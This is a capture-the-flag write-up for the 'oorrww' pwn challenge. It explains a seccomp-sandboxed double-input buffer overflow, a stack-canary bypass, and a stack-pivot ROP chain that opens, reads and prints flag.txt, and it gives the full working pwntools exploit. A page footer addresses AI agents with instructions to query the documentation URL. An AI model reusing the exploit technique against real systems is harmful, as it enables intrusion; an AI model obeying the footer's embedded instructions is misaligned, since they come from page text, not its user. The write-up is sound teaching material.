# oorrww (pwn)

{% file src="/files/s5ViEpfZ8XxcwWWXIfaR" %}

{% file src="/files/Y2hwdWdJgnj15kZTRYBJ" %}

As the challenge title suggests, this challenge involves opening, reading and writing, and likely involves doubles.

Running `checksec` on the binary, we get the following:

```
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

The decompiled main function is given below:

```c
undefined8 main(EVP_PKEY_CTX *param_1)
{
  long in_FS_OFFSET;
  int local_ac;
  undefined local_a8 [152];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  init(param_1);
  sandbox();
  gifts(local_a8);
  for (local_ac = 0; local_ac < 22; local_ac = local_ac + 1) {
    puts("input:");
    __isoc99_scanf("%lf",local_a8 + (local_ac << 3));
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

`sandbox` adds seccomp rules. When we do `seccomp-tools dump ./oorrww`, we see the following:

```
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
 0005: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0008
 0006: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x00000000  return KILL
```

So we will have difficulty obtaining a shell. Looking at the `gifts` function:

```c
void gifts(undefined8 param_1)
{
  long lVar1;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  printf("here are gifts for you: %.16g %.16g!\n",param_1,__isoc99_scanf);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

We get the addresses of the variable `local_a8` in the stack, and the address of a libc function. However, the twist is that we are getting the addresses as a float with 16 decimal places.

Afterwards, in `main`, we are asked to input a float value into `local_a8` 22 times. Each input will write 8 bytes. This leads to a buffer overflow because for our last input, we will be inputting into the address `local_a8[168]`. In other words, we can write 24 bytes past `local_a8`. The first 8 bytes will overwrite the stack canary, the next 8 bytes will overwrite RBP and the next 8 bytes will overwrite RIP.&#x20;

Since we know the address of the stack, and we have limited space, we can do stack pivoting so we have more space for an ROP chain. Our ROP chain will be put into `local_a8`.

Start by defining a helper function which converts the given floats to longs, and another helper function which converts a long to a float in bytes. This is facilitated by the Python `pack` and `unpack` functions.

```python
def float_to_long(f):
    # pack the float as little endian using <d
    # unpack into 8 bytes as little endian using <Q
    return struct.unpack('<Q', struct.pack('<d', f))[0]

def long_to_float(l):
  return str(struct.unpack('<d', struct.pack('<Q', l))[0]).encode()
```

We start by receiving the stack address and scanf address, and converting them to longs to work with.

```python
p.recvuntil(b': ')
addresses = p.recvuntil(b'!\n')[:-2].decode()
local_a8_addr, scanf_addr = addresses.split()
local_a8_addr = float_to_long(float(local_a8_addr))
scanf_addr = float_to_long(float(scanf_addr))
print("local_a8 addr: " + hex(local_a8_addr))
print("scanf addr: " + hex(scanf_addr))
print("libc addr: " + hex(scanf_addr - libc.sym['__isoc99_scanf']))
libc.address = scanf_addr - libc.sym['__isoc99_scanf']
```

We can now start creating our payload. We will need a "flag.txt" string to use in our `sys_open` call. We start the payload by inputting the string which will be 8 bytes. Since it needs to be null-terminated, we use another 8 bytes for a block of zeroes.&#x20;

```python
payload = str(struct.unpack('<d', struct.pack('<8s', b'flag.txt'))[0]).encode()
p.sendlineafter(b'\n', payload) # i = 0
p.sendlineafter(b'\n', long_to_float(0)) # i = 1
```

Now we can start writing the `sys_open` part of the payload. We want `rdi` to be a pointer to `flag.txt`, and `rsi` and `rdx` to be `0`. Since `rdx` is already `0`, we only need to zero out `rsi`. We then call `sys_open` by calling `syscall` with `rax = 2`

```python
# syscall format: return val : rax, args: rdi, rsi, rdx
# ROP chain starts here
# open(local_a8_addr, 0, 0)
p.sendlineafter(b'\n', long_to_float(0x00000000000d8380 + libc.address)) # mov rax, 2 ; ret i = 2
p.sendlineafter(b'\n', long_to_float(0x000000000002a3e5 + libc.address)) # pop rdi; ret i = 3
# rdx is already 0
p.sendlineafter(b'\n', long_to_float(local_a8_addr)) # i = 4, this is the address of flag.txt
p.sendlineafter(b'\n', long_to_float(0x000000000002be51 + libc.address)) # pop rsi; ret i = 5
p.sendlineafter(b'\n', long_to_float(0)) # i = 6
p.sendlineafter(b'\n', long_to_float(0x0000000000091316 + libc.address)) # syscall ; ret i = 7
```

Next we want to read. Instead of using `syscall`, I used `read` to save stack space. This way I don't need to set the `rax` value. Assuming the file descriptor of the opened `flag.txt` is `3`, we want `rdi = 3, rsi = *buf, rdx = count` . For the value of `rsi` which is the buffer address, we ideally want an address that doesn't overlap the part of the stack we use for our ROP chain. For this I chose `local_a8_addr - 0x100` since it is sufficiently far away and is still readable and writable.&#x20;

```python
# read(3, local_a8_addr, 50) , assume the file descriptor is 3
p.sendlineafter(b'\n', long_to_float(0x000000000002a3e5 + libc.address)) # pop rdi ; ret i = 8
p.sendlineafter(b'\n', long_to_float(3)) # i = 9
p.sendlineafter(b'\n', long_to_float(0x000000000002be51 + libc.address)) # pop rsi; ret i = 10
# use local_a8_addr - 0x80 since we don't want any overlaps with our used stack space
p.sendlineafter(b'\n', long_to_float(local_a8_addr - 0x100)) # i = 11
p.sendlineafter(b'\n', long_to_float(0x000000000011f2e7 + libc.address)) # pop rdx ; pop r12 ; ret i = 12
p.sendlineafter(b'\n', long_to_float(50)) # i = 13
p.sendlineafter(b'\n', long_to_float(0)) # i = 14
p.sendlineafter(b'\n', long_to_float(libc.sym['read'])) # i = 15
```

Next we want to write from `local_a8_addr - 0x100`. To save space we call `puts`. We only need `rdi` to be that address, then call `puts`.&#x20;

```
# puts(local_a8_addr)
p.sendlineafter(b'\n', long_to_float(0x000000000002a3e5 + libc.address)) # pop rdi; ret i = 16
p.sendlineafter(b'\n', long_to_float(local_a8_addr - 0x100)) # i = 17
p.sendlineafter(b'\n', long_to_float(libc.sym['puts'])) # i = 18
```

Now, we need to bypass the canary. We can do this by entering a character such as `-` which will leave the canary untouched. We then overwrite `RBP` to `local_a8 + 8` so our execution continues right after the 8 bytes of zeroes, and overwrite `RIP` to be a `leave ; ret` instruction.&#x20;

```python
# canary bypass
p.sendlineafter(b'\n', b'-') # i = 19

# overwrite RBP to local_a8 + 8
p.sendlineafter(b'\n', long_to_float(local_a8_addr + 8)) # i = 20

# stack pivoting
p.sendlineafter(b'\n', long_to_float(0x000000000004da83 + libc.address)) # leave ; ret i = 21
```

This should give us the flag. The full exploit code is given below.

```python
from pwn import *
# fill in binary name
elf = context.binary = ELF("./oorrww")
context.arch = 'amd64'
# fill in libc name
libc = ELF("./libc.so.6")

if args.REMOTE: 
  # fill in remote address
  p = remote("193.148.168.30", 7666)
elif args.REMOTE2:
  p = remote("localhost", 40003)
elif args.GDB:
  context.terminal = ["tmux", "splitw", "-h"]
  p = gdb.debug(binary, gdbscript=gs)
else:
  p = elf.process(env = {"LD_PRELOAD": libc.path})

def float_to_long(f):
    # pack the float as little endian using <d
    # unpack into 8 bytes as little endian using <Q
    return struct.unpack('<Q', struct.pack('<d', f))[0]

def long_to_float(l):
  return str(struct.unpack('<d', struct.pack('<Q', l))[0]).encode()

p.recvuntil(b': ')
addresses = p.recvuntil(b'!\n')[:-2].decode()
local_a8_addr, scanf_addr = addresses.split()
local_a8_addr = float_to_long(float(local_a8_addr))
scanf_addr = float_to_long(float(scanf_addr))
print("local_a8 addr: " + hex(local_a8_addr))
print("scanf addr: " + hex(scanf_addr))
print("libc addr: " + hex(scanf_addr - libc.sym['__isoc99_scanf']))
libc.address = scanf_addr - libc.sym['__isoc99_scanf']

payload = str(struct.unpack('<d', struct.pack('<8s', b'flag.txt'))[0]).encode()
# we can only send 22 * 8 bytes!
info(payload)
p.sendlineafter(b'\n', payload) # i = 0
p.sendlineafter(b'\n', long_to_float(0)) # i = 1
# syscall format: return val : rax, args: rdi, rsi, rdx
# ROP chain starts here
# open(local_a8_addr, 0, 0)
p.sendlineafter(b'\n', long_to_float(0x00000000000d8380 + libc.address)) # mov rax, 2 ; ret i = 2
p.sendlineafter(b'\n', long_to_float(0x000000000002a3e5 + libc.address)) # pop rdi; ret i = 3
# rdx is already 0
p.sendlineafter(b'\n', long_to_float(local_a8_addr)) # i = 4
p.sendlineafter(b'\n', long_to_float(0x000000000002be51 + libc.address)) # pop rsi; ret i = 5
p.sendlineafter(b'\n', long_to_float(0)) # i = 6
p.sendlineafter(b'\n', long_to_float(0x0000000000091316 + libc.address)) # syscall ; ret i = 7

# read(3, local_a8_addr, 20) , assume the file descriptor is 3
p.sendlineafter(b'\n', long_to_float(0x000000000002a3e5 + libc.address)) # pop rdi ; ret i = 8
p.sendlineafter(b'\n', long_to_float(3)) # i = 9
p.sendlineafter(b'\n', long_to_float(0x000000000002be51 + libc.address)) # pop rsi; ret i = 10
# use local_a8_addr - 0x80 since we don't want any overlaps with our used stack space
p.sendlineafter(b'\n', long_to_float(local_a8_addr - 0x100)) # i = 11
p.sendlineafter(b'\n', long_to_float(0x000000000011f2e7 + libc.address)) # pop rdx ; pop r12 ; ret i = 12
p.sendlineafter(b'\n', long_to_float(50)) # i = 13
p.sendlineafter(b'\n', long_to_float(0)) # i = 14
p.sendlineafter(b'\n', long_to_float(libc.sym['read'])) # i = 15

# puts(local_a8_addr)
p.sendlineafter(b'\n', long_to_float(0x000000000002a3e5 + libc.address)) # pop rdi; ret i = 16
p.sendlineafter(b'\n', long_to_float(local_a8_addr - 0x100)) # i = 17
p.sendlineafter(b'\n', long_to_float(libc.sym['puts'])) # i = 18

# canary bypass
p.sendlineafter(b'\n', b'-') # i = 19

# overwrite RBP to local_a8 + 8
p.sendlineafter(b'\n', long_to_float(local_a8_addr + 8)) # i = 20

# stack pivoting
p.sendlineafter(b'\n', long_to_float(0x000000000004da83 + libc.address)) # leave ; ret i = 21

info(b"flag: " + p.recv(50))
# flag: L3AK{th3_d0ubl3d_1nput_r3turns_whAt_u_wAnt}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://elijahchia.gitbook.io/ctf-blog/l3ak-ctf-24/oorrww-pwn.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
